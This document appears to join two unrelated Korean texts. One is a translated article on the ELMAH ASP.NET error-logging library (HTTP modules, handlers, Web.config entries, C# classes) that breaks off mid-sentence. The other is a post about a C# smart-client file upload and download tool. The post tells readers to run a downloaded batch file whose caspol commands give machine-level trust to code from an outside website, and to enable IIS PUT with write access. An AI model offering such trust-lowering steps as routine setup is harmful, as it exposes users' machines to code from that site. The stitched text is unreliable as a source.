ELMAH의 아키텍처와 구현에 대한 구체적인 내용을 검토하기 전에 HTTP 처리기와 모듈을 잠깐 살펴보도록 하겠습니다. IIS 웹 서버에 요청이 도착하면 IIS는 요청의 확장을 검사하여 처리 방법을 결정합니다. HTML 페이지, CSS 파일, 이미지, JavaScript 파일 등의 정적 콘텐츠의 경우 IIS는 요청 자체를 처리합니다. ASP 페이지, ASP.NET 웹 페이지, ASP.NET 웹 서비스 등의 동적 콘텐츠의 경우 IIS는 요청을 지정된 ISAPI 확장에 위임합니다. ISAPI 확장은 특정 유형의 요청을 렌더링하는 방법을 알고 있는 관리되지 않는 코드입니다. 예를 들어 asp.dll ISAPI 확장은 전통적인 ASP 웹 페이지의 요청을 렌더링하며 aspnet_isapi.dll ISAPI 확장은 ASP.NET 리소스에 대한 요청이 있을 때 호출됩니다.

ISAPI 확장 외에도 IIS는 ISAPI 필터를 허용합니다. ISAPI 필터는 IIS에 의해 발생한 이벤트에 응답하여 실행할 수 있는 관리되지 않는 코드입니다. 요청 수명 주기 동안에 IIS는 해당 이벤트를 발생시키는 여러 단계를 거칩니다. 예를 들어 요청이 처음 IIS에 도달했을 때, 요청을 인증하려고 할 때, 렌더링된 콘텐츠를 다시 클라이언트에게 보내려고 할 때와 같은 여러 경우에 이벤트가 발생합니다. ISAPI 필터는 일반적으로 URL 재작성, 압축, 특수한 인증 및 권한 부여, 특수한 로깅 등의 기능을 제공하는 데 사용됩니다.

ASP.NET 리소스에 대한 요청은 IIS에 도달하면 ASP.NET 엔진에 라우팅되며 ASP.NET 엔진은 요청된 리소스에 대한 콘텐츠를 렌더링합니다. ASP.NET 엔진은 요청이 ASP.NET HTTP 파이프라인을 통과할 때 여러 이벤트를 발생시킨다는 점에서 IIS와 유사하게 작동합니다. 게다가 ASP.NET 엔진은 요청된 리소스의 렌더링을 특정 클래스에 위임합니다. IIS가 관리되지 않는 ISAPI 확장 및 필터를 사용하는 것과 달리 ASP.NET은 HTTP 처리기 및 모듈이라고 부르는 관리되는 클래스를 사용합니다.

HTTP 처리기는 특정 유형의 리소스를 렌더링하는 클래스입니다. 예를 들어 ASP.NET 웹 페이지를 위한 코드 숨김 클래스는 특정 웹 페이지의 태그를 렌더링하는 방법을 알고 있는 HTTP 처리기입니다. 처리기를 특정 유형의 리소스에 대한 태그를 만드는 방법을 알고 있는 특수한 렌더러로 생각하면 이해가 빠를 것입니다.

참고   실제적인 몇 가지 처리기 응용 프로그램을 비롯하여 HTTP 처리기에 대한 자세한 내용은 Serving Dynamic Content with HTTP Handlers  를 참조하십시오.

HTTP 모듈은 요청이 서버에서 해당 수명 주기의 단계를 통과하는 동안에 발생한 다양한 이벤트를 사용할 수 있는 클래스입니다. ASP.NET 응용 프로그램 이벤트와 같은 이벤트는 ELMAH 이벤트가 관심을 가지는 처리되지 않은 예외가 발생했을 때 발생하는 Error 이벤트입니다.

참고   HTTP 모듈을 사용하여 URL 재작성을 구현하는 방법을 비롯하여 HTTP 모듈에 대한 자세한 내용은 URL Rewriting in ASP.NET  을 참조하십시오.

그림 4는 ASP.NET HTTP 파이프라인을 그래픽으로 표현한 것입니다. IIS에 도착하는 요청으로부터 프로세스가 시작된다는 점에 주의해야 합니다. 요청된 리소스가 ASP.NET ISAPI 확장에 의해 처리되도록 구성되었다고 가정하면 IIS는 요청을 관리되지 않는 aspnet_isapi.dll ISAPI 확장으로 디스패치합니다. 이 ISAPI 확장은 요청을 관리되는 ASP.NET 엔진에 전달합니다. 요청 수명 주기 동안에 하나 이상의 HTTP 모듈이 실행될 수 있습니다(등록된 모듈과 이러한 모듈이 구독한 이벤트에 따라 달라짐). 마지막으로 ASP.NET 엔진은 콘텐츠 렌더링, 처리기 호출 및 생성된 콘텐츠를 IIS로 반환하는 작업을 수행하는 HTTP 처리기를 결정합니다(IIS는 해당 콘텐츠를 다시 요청 클라이언트에게 반환함).

그림 4. 오류 로거를 통과하는 데이터 흐름

ELMAH는 Error 이벤트에 대한 이벤트 처리기를 가진 HTTP 모듈을 통해 중앙화된 오류 로깅을 제공합니다. 이벤트가 발생하면 ELMAH는 예외 세부 정보를 기록합니다. 또한 ELMAH는 주로 HTML 및 RSS 태그를 생성하여 오류 로그의 정보를 표시하는 역할을 수행하는 HTTP 처리기를 사용합니다.

모듈 또는 처리기 어셈블리를 웹 응용 프로그램의 /bin 디렉터리에 복사하고 몇 줄의 구성을 Web.config 파일에 복사하는 방법을 통해 다양한 처리기나 모듈을 사용하도록 기존의 웹 응용 프로그램을 구성합니다.

웹 응용 프로그램에 대해 HTTP 모듈을 구성하려면 추가할 모듈의 유형을 지정하는 <httpModules> 섹션Web.config 파일에 포함시켜야 합니다.

<httpModules> <add name="ModuleName" type="ModuleType" /> </httpModules> 

ModuleType은 모듈의 유형을 지정하는 문자열로서 어셈블리 이름이 뒤에 오는 정규화된 클래스 이름(Namespace.ClassName)입니다. 또한 type 특성에는 강력한 이름의 어셈블리에 필요한 공개 키 토큰과 함께 버전 지정 및 culture 정보가 포함될 수 있습니다. 다음 코드는 ELMAH의 오류 로깅 모듈을 ASP.NET 응용 프로그램에 포함하기 위해 사용해야 하는 실제 <httpModules> 설정을 보여 줍니다.

<httpModules> 
<add name="ErrorLog" type="GotDotNet.Elmah.ErrorLogModule,
GotDotNet.Elmah, Version=1.0.5527.0,
Culture=neutral, PublicKeyToken=978d5e1bd64b33e5" />
</httpModules>

Web.config 파일에 <httpHandlers> 섹션을 추가하여 웹 응용 프로그램에서 HTTP 처리기를 사용할 수 있습니다. HTTP 처리기가 특정 유형 리소스의 콘텐츠를 렌더링하므로 <httpHandlers> 요소는 type 특성 외에 path 특성을 포함합니다. 이 특성은 이 HTTP 처리기에 매핑해야 하는 파일 경로나 확장을 나타냅니다. 또한 GET 또는 POST 요청에서와 같이 특정 유형의 HTTP 요청에 한하여 처리기를 사용하도록 제한할 수 있는 verb 특성이 있습니다. 다음 예제는 .ashx 확장명을 가진 파일에 대한 모든 요청에서 호출되는 HTTP 처리기를 만듭니다.

<httpHandlers> 
<add verb="*" path="*.ashx" type="HandlerType" />
</ httpHandlers >

HTTP 처리기에 대한 type 특성은 HTTP 모듈과 동일한 구문 옵션을 사용하여 표현합니다. Web.config의 이러한 설정은 machine.config 파일에 포함할 수도 있습니다. 이렇게 하면 서버의 모든 웹 응용 프로그램에 대해 처리기와 모듈이 활성화되는 효과가 있습니다. 다음 코드는 이 기사의 다운로드에 포함된 데모의 Web.config 파일에 있는 <httpHandlers> 요소를 보여 줍니다. ErrorLogPageFactory 클래스가 /elmah/default.aspx에 대한 모든 들어오는 요청을 렌더링하도록 지정된다는 것에 주의해야 합니다.

<httpHandlers> 
<add verb="POST,GET,HEAD" path="elmah/default.aspx"
type="GotDotNet.Elmah.ErrorLogPageFactory, GotDotNet.Elmah,
Version=1.0.5527.0, Culture=neutral, PublicKeyToken=978d5e1bd64b33e5" />
</httpHandlers>

위에서 볼 수 있듯이 HTTP 모듈과 처리기를 ASP.NET 웹 응용 프로그램에 추가하는 것은 매우 간단하기 때문에 불과 몇 초 만에 끝낼 수 있으며 ASP.NET 응용 프로그램을 재컴파일하거나 재배포하지 않아도 됩니다. 이는 HTTP 모듈과 처리기가 재사용을 위한 뛰어난 도구일 뿐만 아니라 관리가 용이한 느슨하게 결합된 조각으로 응용 프로그램을 구성 요소화할 수 있는 수단을 제공하기 때문입니다.

ELMAH의 아키텍처 검토

ELMAH의 아키텍처는 다음 세 개의 하위 시스템으로 구성됩니다.

  • 오류 로깅 하위 시스템
  • HTTP 모듈 하위 시스템
  • HTTP 처리기 하위 시스템

오류 로깅 하위 시스템은 두 개의 작업, 즉 오류를 로그에 기록하는 작업과 로그에서 오류 정보를 검색하는 작업을 수행합니다. HTTP 모듈 하위 시스템은 ASP.NET 응용 프로그램에서 처리되지 않은 예외가 발생할 경우의 오류 기록을 수행합니다. HTTP 처리기 하위 시스템은 오류 로그를 태그로 렌더링하여 오류 로그뿐만 아니라 RSS 피드에 대한 웹 기반 인터페이스를 구성할 수 있는 수단을 제공합니다.

그림 5에 나온 것처럼 HTTP 모듈 및 처리기 하위 시스템 모두 오류 로깅 하위 시스템을 사용합니다. HTTP 모듈 하위 시스템은 예외 정보를 오류 로깅 하위 시스템으로 보내고 HTTP 처리기 하위 시스템은 오류 정보를 읽어 렌더링합니다.

그림 5. 오류 로깅 시스템의 올바른 위치

ELMAH의 아키텍처를 제대로 이해하기 위해 이러한 세 개의 하위 시스템을 좀더 자세히 살펴보도록 하겠습니다.

오류 로깅 하위 시스템

오류 로깅 하위 시스템은 오류를 로그에 기록할 뿐만 아니라 특정 오류 또는 오류의 하위 집합에 대한 세부 정보를 검색하는 기능을 제공합니다. 이 기능은 다음과 같은 여러 클래스를 통해 가능합니다.

  • ErrorLog: 이 추상 클래스는 로그에서 읽고 쓰기 위한 계약상의 방법을 제공합니다.
  • Error: 이 클래스는 특정 오류의 세부 정보를 설명하는 속성을 포함합니다.
  • ErrorLogEntry: 이 클래스는 특정 ErrorLog에 대한 특정 Error 인스턴스를 나타냅니다. ErrorLogEntry는 본질적으로 Error 인스턴스가 시작된 ErrorLog 인스턴스와 함께 Error 인스턴스를 그룹화합니다.

이러한 세 가지 클래스에 대한 개요와 중앙화된 완벽한 예외 로깅 유틸리티를 제공하기 위해서 이러한 클래스가 HTTP 모듈 및 HTTP 처리기 하위 시스템과 함께 작동하는 방법에 대해 살펴보도록 하겠습니다.

ErrorLog 클래스 검토

특정 프로젝트 설정 또는 전략에 따라서 서로 다른 백업 저장소를 오류 로그에 사용할 수 있습니다. 예를 들어 프로덕션 서버에서는 예외를 Microsoft SQL Server에 기록하지만 개발 서버에서는 오류를 단순히 XML 파일 집합이나 Microsoft Access 데이터베이스에 저장하기를 원할 수 있습니다. 다른 백업 저장소를 사용하는 기능을 제공하기 위해 오류 로깅 하위 시스템은 추상 기본 클래스인 ErrorLog를 제공합니다. 이 클래스는 모든 ELMAH 오류 로거가 구현해야 하는 기본 메서드를 정의합니다. 이러한 메서드는 다음과 같습니다.

  • Log(Error): 오류를 백업 저장소에 기록합니다. Error 클래스는 처리되지 않은 예외에 대한 정보를 나타냅니다. 이 Error 클래스에 대해서는 좀더 자세하게 설명할 것입니다. 오류 정보를 기록하면서 Log() 메서드는 또한 고유 식별자를 오류에 할당해야 합니다.
  • GetError(id): 로그의 특정 오류에 대한 정보를 반환합니다.
  • GetErrors(...): 로그에서 오류의 하위 집합을 반환합니다. HTTP 처리기 하위 시스템은 이 메서드를 사용하여 모든 오류를 한 번에 표시하는 대신에 오류 로그를 페이지 방식으로 표시합니다.

ELMAH는 다음과 같은 두 개의 ErrorLog 구현을 제공합니다.

  • SqlErrorLog: System.Data.SqlClient 공급자를 사용하여 오류를 Microsoft SQL Server 2000 데이터베이스에 기록합니다. SqlErrorLog는 SQL Server 2000의 XML 기능 중 일부를 활용하기 때문에 SQL Server 2000이 필요하지만 이는 변경이 가능한 구현 세부 정보입니다.
  • MemoryErrorLog: 응용 프로그램의 메모리(RAM)에 오류를 기록합니다. 다시 말해서 AppDomain에 바인딩됨으로써 각 응용 프로그램은 고유한 개인 로그를 받게 됩니다. 물론 이 로그는 응용 프로그램이 다시 시작되거나 수명이 끝나면 더 이상 유지되지 않으므로 다른 구현이 실패할 수 있는 경우에 테스트 및 임시 문제 해결 목적에 가장 적합합니다.

일부 줄의 텍스트를 ASP.NET 웹 응용 프로그램의 Web.config 파일에 추가하는 간단한 방법으로 이러한 예외 로거 중 하나를 사용할 수 있습니다. 오류 세부 정보를 SQL Server나 응용 프로그램 메모리가 아닌 다른 장소에 저장해야 할 경우에는 고유한 사용자 지정 로거를 만들 수 있습니다. ELMAH에 대한 오류 로거를 구현하려면 ErrorLog를 확장하는 클래스를 만들고 원하는 저장소에 대해 Log(), GetError()GetErrors()의 구현을 제공해야 합니다.

ELMAH의 HTTP 모듈 및 처리기 하위 시스템이 지정된 ErrorLog 클래스(SqlErrorLog, MemoryErrorLog 또는 고유한 사용자 지정 로그 클래스)와 직접 상호 작용한다는 것에 주의해야 합니다. HTTP 모듈은 Error 인스턴스를 만들어 ErrorLog 메서드의 Log() 메서드에 전달하는 방법으로 예외 정보를 기록합니다. HTTP 처리기는 특정 ErrorLogEntry 인스턴스나 ErrorLogEntry 인스턴스 집합을 반환하는 ErrorLogGetError()GetErrors() 메서드를 통해 하나 이상의 오류에 대한 세부 정보를 읽습니다.

Error 클래스 검토

ErrorLogLog() 메서드에는 Error 유형의 입력 매개 변수가 필요합니다. Exception 클래스는 코드 스택에서 응용 프로그램 수명 주기 동안에 예외 정보를 전달하는 데 더 적합하기 때문에 .NET Framework에서 제공되는 Exception 클래스 대신에 사용자 지정 Error 클래스가 사용됩니다. 그러나 Exception 개체는 저장, 입력 및 이식성 문제로 인하여 예외 로그를 저장하기에는 이상적이지 않습니다. 물론 이진 serialization을 사용하여 Exception 인스턴스를 저장할 수 있지만 이 경우에는 사용 가능한 동일한 유형 및 어셈블리 집합을 사용하여 Exception 개체를 시스템에서 deserialize할 수 있어야 합니다. 로그와 로그의 내용은 이식 가능해야 하며 특정 런타임 또는 구성을 가진 시스템에서만 볼 수 있는 것이 아니어야 하므로 이러한 제한은 특히 관리 및 운영 측면에서 볼 때 받아들일 수 없습니다. 게다가 Exception 인스턴스는 웹 응용 프로그램에 대한 고유한 주변 정보(예: 현재 웹 요청의 ServerVariables 컬렉션에 대한 값)가 부족한 경우가 자주 있는데 이러한 정보 중에서 일부는 진단을 위해 반드시 필요한 것입니다. 따라서 한 마디로 말하자면, Error 클래스는 웹 응용 프로그램에서 발생한 예외에 대한 정보를 보유하면서 모든 예외 유형을 대체하는 역할을 수행합니다.

표 1에는 Error 속성의 전체 목록이 나와 있습니다.

속성설명
Exception이 오류가 나타내는 Exception 인스턴스입니다. 클래스의 인스턴스와 함께 유지되지 않는 런타임 전용 속성입니다.
ApplicationName이 오류가 발생한 응용 프로그램의 이름입니다.
HostName이 오류가 발생한 호스트 시스템의 이름입니다. 기본값은 Environment.MachineName입니다.
Type오류의 유형, 클래스 또는 범주입니다. 일반적으로 예외의 전체 유형 이름(어셈블리 자격 제외)입니다.
Source오류의 소스입니다. 일반적으로 Exception 개체의 Message 속성과 동일합니다.
Message오류를 설명하는 간단한 텍스트입니다. 일반적으로 Exception 개체의 Message 속성과 같습니다.
Detail오류에 대한 자세한 텍스트(예: 전체 스택 추적)입니다.
User오류 발생 시에 응용 프로그램에 로그인한 사용자입니다(예: Thread.CurrentPrincipal.Identity.Name에 의해 반환된 사용자).
Time오류가 발생한 날짜와 시간입니다. 항상 현지 시간입니다.
StatusCode오류의 결과로 응답 헤더에서 반환되는 상태 코드입니다. 예를 들어 FileNotFoundException의 경우 404입니다. 그러나 이 값은 ASP.NET 내에서 항상 정확하게 결정되지는 않습니다. 경우에 따라 이 StatusCode 값은 0으로 보고될 수 있습니다.
WebHostHtmlMessage사용자 지정 오류 페이지가 없을 경우 웹 호스트(ASP.NET)가 생성한 기본 HTML 메시지입니다.
ServerVariablesHttpRequest.ServerVariables에 포함되어 있는 것과 같은 웹 서버 변수의 NameValueCollection입니다.
QueryStringHttpRequest.QueryString에 포함되어 있는 것과 같은 HTTP 쿼리 문자열 변수의 NameValueCollection입니다.
FormHttpRequest.Form에 포함되어 있는 것과 같은 양식 변수의 NameValueCollection입니다.
CookiesHttpRequest.Cookies에 포함되어 있는 것과 같은 클라이언트가 보낸 쿠키의 NameValueCollection입니다.

WebHostHtmlMessage 속성에 대해서는 약간의 설명이 필요합니다. ASP.NET 웹 응용 프로그램에서 처리되지 않은 예외가 발생했으며 응용 프로그램이 사용자 지정 오류 페이지를 사용하도록 구성되지 않은 경우 그림 6과 비슷한 화면이 표시됩니다. 이 화면은 모든 ASP.NET 개발자에게는 익숙한 화면입니다.

그림 6. 표준 오류 페이지

예외가 발생하면 해당 화면의 실제 HTML 태그가 액세스되어 Error 클래스의 WebHostHtmlMessage 속성에 저장됩니다. 특정 예외에 대한 세부 정보를 표시하는 페이지를 방문했을 때 해당 Error 인스턴스가 WebHostHtmlMessage 속성에 값을 갖고 있는 경우 그림 6과 유사한 실제 예외 정보 화면을 표시하는 페이지에 대한 링크가 방문자에게 제공됩니다. 여기에서는 기록된 예외를 확인할 수 있을 뿐만 아니라 나중에 로그 검사 시에 ASP.NET에 의해 생성된 원래 오류 페이지를 방문할 수 있습니다. 또한 이와 함께 사용자 지정 오류도 활성화되어 있습니다.

Error 클래스는 또한 XML 형식과의 사이에서 해당 상태를 serialize 및 deserialize할 수 있는 방법을 제공합니다. 자세한 내용은 함께 제공되는 코드에서 FromXmlToXml을 참조하십시오.

ErrorLogEntry 클래스: Error를 ErrorLog와 연결

오류 로깅 하위 시스템의 마지막 클래스는 Error 인스턴스를 ErrorLog 인스턴스와 연결하는 ErrorLogEntry 클래스입니다. HTTP 처리기 하위 시스템이 특정 예외에 대한 정보를 검색하기 위해 GetError() 메서드를 호출하면 GetError() 메서드는 특정 백업 저장소에서 정보를 검색하여 ErrorLogEntry 인스턴스에서 해당 정보를 채웁니다. ErrorLogEntry 클래스에는 다음 세 개의 속성이 포함되어 있습니다.

  • Id: 예외 세부 정보에 대한 고유 ID입니다.
  • Log: 백업 저장소를 나타내는 ErrorLog 인스턴스에 대한 참조입니다.
  • Error: 특정 오류의 세부 정보를 포함하는 채워진 Error 클래스의 인스턴스입니다.

GetError() 메서드가 단일 ErrorLogEntry 인스턴스를 반환하는 것과 달리 GetErrors()ErrorLogEntry 인스턴스의 목록을 반환합니다. GetErrors()는 특히 한 번에 n개의 레코드씩 오류를 페이징할 수 있도록 설계되었습니다.

그림 7은 업데이트된 ELMAH의 아키텍처를 보여 주며, 오류 로깅 하위 시스템이 더 자세히 나와 있습니다.

그림 7. 업데이트된 아키텍처

HTTP 모듈 하위 시스템

ELMAH는 두 개의 HTTP 모듈, 즉 ErrorLogModuleErrorMailModule로 구성됩니다. ErrorLogModule은 응용 프로그램의 Error 이벤트에 대한 이벤트 처리기를 만드는 HTTP 모듈입니다. 처리되는 않은 예외가 발생할 경우 이 HTTP 모듈은 응용 프로그램의 구성에 지정된 대로 적절한 오류 로거를 가져와 Log() 메서드를 호출함으로써 현재 요청에 대한 HttpContext와 예외 정보로 채워진 Error 인스턴스를 전달합니다. 다음 소스 코드는 ErrorLogModule 클래스의 관련 코드를 보여 줍니다.

public class ErrorLogModule : IHttpModule 
{
public virtual void Init(HttpApplication application)
{
application.Error += new EventHandler(OnError);
}
protected virtual ErrorLog ErrorLog
{
get { return ErrorLog.Default; }
}
protected virtual void OnError(object sender, EventArgs args)
{
HttpApplication application = (HttpApplication) sender;
LogException(application.Server.GetLastError(), application.Context);
}
protected virtual void LogException(Exception e, HttpContext context)
{
try
{ this.ErrorLog.Log(new Error(e, context)); }
catch (Exception localException)
{ Trace.WriteLine(localException); }
}
}

ErrorLogModule의 실행은 Init() 메서드에서 시작되는데, 이 메서드는 Error 이벤트가 발생할 때마다 OnError() 메서드를 호출해야 함을 ASP.NET 런타임에 표시합니다. OnError() 메서드는 HttpApplication 개체를 참조하며 LogException() 메서드를 호출하여 마지막 예외에 대한 세부 정보뿐만 아니라 특정 요청과 관련된 HttpContext 인스턴스를 전달합니다. LogException()은 간단하게 해당 ErrorLog 클래스의 Log() 메서드를 호출하여 새 Error 인스턴스를 전달합니다. Error 인스턴스의 생성자는 ExceptionHttpContext 인스턴스를 가지며 이에 따라서 속성을 채웁니다. 자세한 내용은 다운로드할 수 있는 소스 코드를 참조하십시오.

ErrorLogModule은 읽기 전용 ErrorLog 속성을 포함하며 ErrorLog.Default에 의해 반환된 ErrorLog 인스턴스를 반환합니다. DefaultErrorLog 클래스에 있는 ErrorLog 유형의 정적 속성입니다. 이 속성은 웹 응용 프로그램의 구성을 참조하여 예외 로깅에 사용할 클래스(SqlErrorLog, MemoryErrorLog 또는 사용자 지정 예외 로깅 클래스)를 결정합니다.

참고   ASP.NET 웹 응용 프로그램에 ELMAH 추가 절에서는 특정 예외 로거를 사용하도록 웹 응용 프로그램을 구성하는 방법을 검토합니다. 이 작업은 줄의 일부를 Web.config 또는 machine.config 파일에 추가하기만 하면 되므로 아주 간단합니다.

HTTP 모듈 하위 시스템의 다른 HTTP 모듈은 예외 발생 시에 관리자에게 전자 메일을 보내는 ErrorMailModule 클래스입니다. ELMAH의 이 모듈에 대해서는 여기에서 언급하지 않겠지만 이 기사에서 다운로드할 수 있는 코드 샘플에서 이 모듈을 사용하는 방법을 확인할 수 있습니다.

HTTP 처리기 하위 시스템

앞에서 언급한 것처럼 HTTP 처리기의 목적은 특정 리소스 유형의 콘텐츠를 렌더링하는 것입니다. ASP.NET HTTP 파이프라인에 요청이 들어오면 ASP.NET 엔진은 요청된 경로를 검토하여 요청된 리소스를 처리하는 데 사용해야 할 HTTP 처리기를 결정합니다. 특히 HTTP 처리기나 HTTP 처리기 팩토리에 의해 처리되는 특정 경로를 가지도록 ASP.NET 응용 프로그램을 구성할 수 있습니다. HTTP 처리기 팩토리는 콘텐츠 렌더링을 직접적으로 수행하는 것이 아니라 HTTP 처리기 인스턴스의 선택과 반환을 담당하는 클래스입니다. 요청된 리소스를 렌더링하는 작업은 반환된 이 HTTP 처리기 인스턴스가 수행합니다.

ELMAH의 HTTP 처리기 하위 시스템은 단일 HTTP 처리기 팩토리 클래스와 함께 기록된 오류를 표시하기 위해 태그를 생성하도록 설계된 여러 HTTP 처리기 클래스로 구성됩니다. HTTP 처리기 팩토리 클래스인 ErrorLogPageFactory는 요청된 URL의 PathInfo 부분을 검사하여 출력을 생성해야 하는 HTTP 처리기를 결정합니다.

참고   URL의 PathInfo 부분은 파일 이름 뒤에 오는 추가 콘텐츠이며 Request 개체의 PathInfo 속성을 통해 사용할 수 있습니다. 예를 들어 http://www.example.com/someDir/somePage.aspx/somePath URL에서 somePath는 URL의 PathInfo 부분입니다. URL의 다양한 부분에 사용되는 용어와 해당 Request 개체 속성에 대한 자세한 내용은 Rick Strahl  의 블로그 항목 Making Sense of ASP.NET Paths  를 참조하십시오.

다음 코드는 ErrorLogPageFactory HTTP 처리기 팩토리 클래스에 있는 더 흥미로운 코드를 보여 줍니다.

public class ErrorLogPageFactory : IHttpHandlerFactory 
{
public virtual IHttpHandler
GetHandler(HttpContext context,
string requestType, string url, string pathTranslated)
{
string resource =
context.Request.PathInfo.Length == 0 ? string.Empty
: context.Request.PathInfo.Substring(1);
switch (resource.ToLower(CultureInfo.InvariantCulture))
{
case "detail" : return new ErrorDetailPage();
case "html" : return new ErrorHtmlPage();
case "rss" : return new ErrorRssHandler();
default : return new ErrorLogPage();
}
}
}

위에서 알 수 있듯이 ErrorLogPageFactory 클래스의 GetHandler() 메서드는 요청의 PathInfo에 기초하여 HTTP 처리기 인스턴스를 반환합니다. PathInforss인 경우 ErrorRssHandler HTTP 처리기의 인스턴스가 반환되며 이 인스턴스는 로그를 RSS 필드로 렌더링합니다. PathInfodetail인 경우 ErrorDetailPage HTTP 처리기의 인스턴스가 반환되며 이 인스턴스는 특정 예외에 대한 정보를 표시합니다.

ASP.NET 웹 응용 프로그램의 설정에서 ErrorLogPageFactory HTTP 처리기 팩토리에 매핑할 경로를 지정해야 합니다(예: ErrorLog.aspx). 예외 로그의 RSS 피드를 보려면 http://www.example.com/ErrorLog.aspx/rss를 방문하십시오.

ELMAH의 다양한 HTTP 처리기 클래스(ErrorDetailPage, ErrorHtmlPage, ErrorRssHandler, ErrorLogPage 등)는 다른 태그를 렌더링합니다. 예를 들어 ErrorRssHandler HTTP 처리기는 15개의 최신 오류를 반복하여 이 정보를 RSS 형식으로 표시하기 위한 적절한 XML 태그를 내보냅니다. 다른 모든 HTTP 처리기는 모든 ASP.NET 코드 숨김 클래스가 파생되는 System.Web.UI.Page 클래스에서 직접 또는 간접적으로 파생됩니다. 이러한 페이지 관련 HTTP 처리기는 기록된 예외의 페이징 가능한 목록을 표시하는 HTML 인터페이스를 만들기 위해 Page 클래스의 Render()OnLoad() 메서드를 무시합니다. 이러한 페이지의 스크린샷인 그림 1, 2 및 3을 다시 참조하십시오.

참고   Error 클래스가 ServerVariables, QueryString, FormCookie 컬렉션을 저장하지만 ServerVariables 컬렉션만 예외의 세부 정보에 표시됩니다. 이는 QueryString 매개 변수와 쿠키를 각각 ServerVariableQUERY_STRINGHTTP_COOKIE 매개 변수를 통해 볼 수 있기 때문입니다. Form 컬렉션은 생략되는데, 이는 대부분의 진단에서 거의 도움이 되지 않는 수십 KB의 뷰 상태 정보가 잠재적으로 이 컬렉션에 포함될 수 있기 때문입니다. 물론 원할 경우에는 HTTP 처리기 세부 정보를 간단하게 수정하여 이 정보를 포함할 수 있습니다.

이제 ELMAH의 세 가지 하위 시스템을 검토했으므로 ELMAH를 기존 ASP.NET 웹 응용 프로그램에 추가하는 방법을 살펴보겠습니다. 특히 ELMAH는 HTTP 처리기와 모듈이 제공하는 구성 요소화의 이점으로 인해 임의의 사이트에 매우 간단하게 추가할 수 있습니다.

ASP.NET 웹 응용 프로그램에 ELMAH 추가

ELMAH를 ASP.NET 웹 응용 프로그램에 추가하는 것은 매우 간단하며 다음 두 단계로 구성됩니다.

  • 웹 응용 프로그램에 ELMAH 어셈블리 추가
  • ELMAH의 HTTP 모듈과 HTTP 처리기를 사용하도록 웹 응용 프로그램 구성

어셈블리를 웹 응용 프로그램의 /bin 디렉터리에 복사하고 Web.config 파일을 통해 ELMAH의 설정을 구성하여 ELMAH를 웹 서버의 특정 웹 응용 프로그램에 적

Posted by tornado
|
 
----------------------------------------------------------------------
- 권한인증이 필요한 XML 파일을 다운받아야 합니다.
(이제까지 권한설정 XML파일을 바로 링크하는 부분에서 이상이 있어서 압축해서 다시 올렸습니다)
- 실행시키며면 .bat 파일만 다운받아서 실행시킨 후 아래 Url로 접속하시면 됩니다
물론 .Net Framework이 깔려 있어야 합니다.
----------------------------------------------------------------------
 
스마트 클라이언트를 이용해 파일 업로드 및 다운로드를 만들어 봤습니다
본 프로그램은 완성단계가 미흡하고 수많은 버그투성이지만
대략 ActiveX 가 아닌 C#을 이용해 dll을 사용했다는 맛배기로는 충분하리라 여겨집니다
 
이 강좌는 태요사이트의 정성태님의 Internet Explorer에서의 닷넷 Smart Client 개발이라는 강좌를 기초로 해서 만들어졌으며 좀더 자세한 사항을 알고 싶다면 아래 Url을 참고하기 바랍니다
 
그리고 참고로 아직까지 배포문제는 ActiveX를 사용해야하나 필자가 무식한 관계로 배포까지는 염두해 두지는 않았으니 여러분들이 개인적으로 연구해 보기 바랍니다
배포또한 태요사이트의 강좌에 있으니 참고 하시기 바랍니다
 
간단히 이 프로그램을 실행하기 위해서는 .Net Frame Work가 깔려 있어야 되고..(당연한 소리~)
또 .Net 보안설정을 수정해야 합니다
보안설정의 수정부분은 김성태님의 강좌를 읽어보시면 이해가 되리가 여겨집니다
 
설명부분을 너무 장황하게 적어놓은 것 같네요
 

1) 파일 업로드

1. 다중 파일 다운로드 가능

2. 이어받기 가능

3. Context 메뉴

 
 

 

2) 파일 다운로드

1. 다중 파일 업로드 가능

2. 윈도우 탐색기에서 Drag & Drop 가능 (파일, 폴더를 한꺼번에 지정해도 됩니다)

   그리고 파일 사이즈가 0인 것 추가하지 않습니다

3. 다운로드 하고 싶은 위치 지정(폴더 생성)

   -- 기본적으로 c:\download 라는 곳에 저장하게 되어 있고 폴더가 생성되어 있지 않으면

폴더를 자동적으로 생성합니다.

4. Context 메뉴

 

아 그리고 진행상황을 알 수 있는 Progress bar를 추가시켰습니다

(이 부분은 다른 분이 해놓은게 있어서 약간 수정해서 사용했습니다. 참고한 분의 이름은 잘 기억이....)

 


 

 

##################

 

궁금하지 않지만 한번 실행해보시고자 하시는 분은

앞에서 설명들렸듯이 .Net 권한설정을 해야합니다

 

권한 설정하는 파일은 첨부파일로 같이 올립니다

SmartClientSet.xml과

Smart-2422.bat (파일명이 지 맘대로 바뀌네요)

xml파일은 해당 dll의 권한 설정파일이고

bat 파일은 해당 dll의 권한을 여러분의 pc에서 사용할 수 있게 권한추가하는 bat 파일입니다

bat 파일내용..

(만약 .net Frame work이 다른곳에 깔려 있다면 해당 위치를 정확하게 적어주셔야 겠죠

그것도 귀찮으시다면 .Net 명령 프롬프트에서 사용하시면 됩니다.)

C:\WINDOWS\Microsoft.NET\Framework\v1.1.4322\caspol -machine -addpset SmartClientSet.xml
C:\WINDOWS\Microsoft.NET\Framework\v1.1.4322\caspol -machine -addgroup Internet_Zone -url http://www.wunge.com/* SmartClientSet -n InternetSmartClient_Zone

 

테스트 후 삭제는 태요사이트의 정성태님의 강좌를 보시면 삭제하실 수 있을겁니다

 

##########################################

위의 설정을 다 하셨다면

 

다운로드

http://www.wunge.com/pino93/download.aspx

 

업로드

http://www.wunge.com/pino93/fileupload.aspx

##########################################

 

참고로 후배의 도메인을 빌려서 사용하기 때문에 대용량의 30M 이상의 파일은 업로드 제한을 걸어놨으며 편의상 확인하기 쉽게 업로드와 다운로드 폴더를 하나로 지정했습니다

업로드 후 다운로드 창을 리로드하면 업로드한 파일이 보일 겁니다...

안보이면.. 말고~~

 

전체적인 용량은 제한을 두지 않았으니 많은 파일을 올리지는 마세요..

후배 계정 사라집니다. ㅡ.ㅡ;;;

 

그리고 소스파일은 WebApp.zip 파일인데

혹 개인 PC에서 설정해서 사용하시려면 몇가지 수정해야 할 사항이 있습니다

 

일반적인 Web상에서의 파일 업로드는 Post방식을 사용하지만

.Net에서 제공하는 WebClient의 PUT방식을 (물론 WebClient에서는 Post방식도 지원함) 사용하였기에 IIS 부분의 설정부분을 변경해야 되며

Source 부분에서 파일을 업로드할 계정과 암호 부분을 수정해야하며

업로드할 폴더를 웹공유부분에서 쓰기권한이 있어야 합니다.

 

